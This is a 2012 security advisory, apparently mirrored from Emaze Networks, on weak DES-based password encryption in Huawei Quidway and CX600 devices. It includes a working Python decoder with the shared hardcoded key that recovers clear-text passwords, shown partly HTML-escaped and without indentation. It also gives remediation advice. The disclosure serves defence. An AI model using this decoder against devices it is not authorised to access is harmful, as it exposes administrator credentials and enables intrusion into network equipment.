Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28754
HistoryNov 14, 2012 - 12:00 a.m.

Weak password encryption on Huawei products

2012-11-1400:00:00
vulners.com
36

Weak password encryption on Huawei products

[ADVISORY INFORMATION]
Title: Weak password encryption on Huawei products
Release date: 13/11/2012
Credits: Roberto Paleari, Emaze Networks ([email protected])
Ivan Speziale, Emaze Networks ([email protected])

[VULNERABILITY INFORMATION]
Class: Information disclosure

[AFFECTED PRODUCTS]
We confirm the presence of this security vulnerability on the following
products:

  • Huawei Quidway series
  • Huawei CX600

Other models are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS]
Huawei devices support a weak password encryption algorithm. With this scheme,
passwords are obfuscated and encrypted with DES, using an encryption key shared
among all the affected devices. This encryption scheme does not use any
password salting mechanism. As a consequence, passwords extracted from a
victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon
termination, procedure decrypt_password() returns the clear-text password.

<cut>
from Crypto.Cipher import DES

def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')

def ascii_to_binary(s):
assert len(s) == 24

out = [0]*18
i = 0
j = 0

for i in range&#40;0, len&#40;s&#41;, 4&#41;:
    y = decode_char&#40;s[i + 0]&#41;
    y = &#40;y &lt;&lt; 6&#41; &amp; 0xffffff

    k = decode_char&#40;s[i + 1]&#41;
    y = &#40;y | k&#41; &amp; 0xffffff
    y = &#40;y &lt;&lt; 6&#41; &amp; 0xffffff

    k = decode_char&#40;s[i + 2]&#41;
    y = &#40;y | k&#41; &amp; 0xffffff
    y = &#40;y &lt;&lt; 6&#41; &amp; 0xffffff

    k = decode_char&#40;s[i + 3]&#41;
    y = &#40;y | k&#41; &amp; 0xffffff

    out[j+2] = chr&#40;y       &amp; 0xff&#41;
    out[j+1] = chr&#40;&#40;y&gt;&gt;8&#41;  &amp; 0xff&#41;
    out[j+0] = chr&#40;&#40;y&gt;&gt;16&#41; &amp; 0xff&#41;

    j += 3

return &quot;&quot;.join&#40;out&#41;

def decrypt_password(p):
r = ascii_to_binary(p)

r = r[:16]

d = DES.new&#40;&quot;&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&quot;, DES.MODE_ECB&#41;
r = d.decrypt&#40;r&#41;

return r.rstrip&#40;&quot;&#92;x00&quot;&#41;

</cut>

[REMEDIATION]
We recommend to store passwords using a proper hashing algorithm, instead of
leveraging symmetric encryption. At the moment, this issue has been addressed
by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security
Advisory on the Risk of Password Being Cracked Due to DES Encryption
Algorithm"). Further details are available at the following URL:
http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141

[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

[DISCLAIMER]
Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.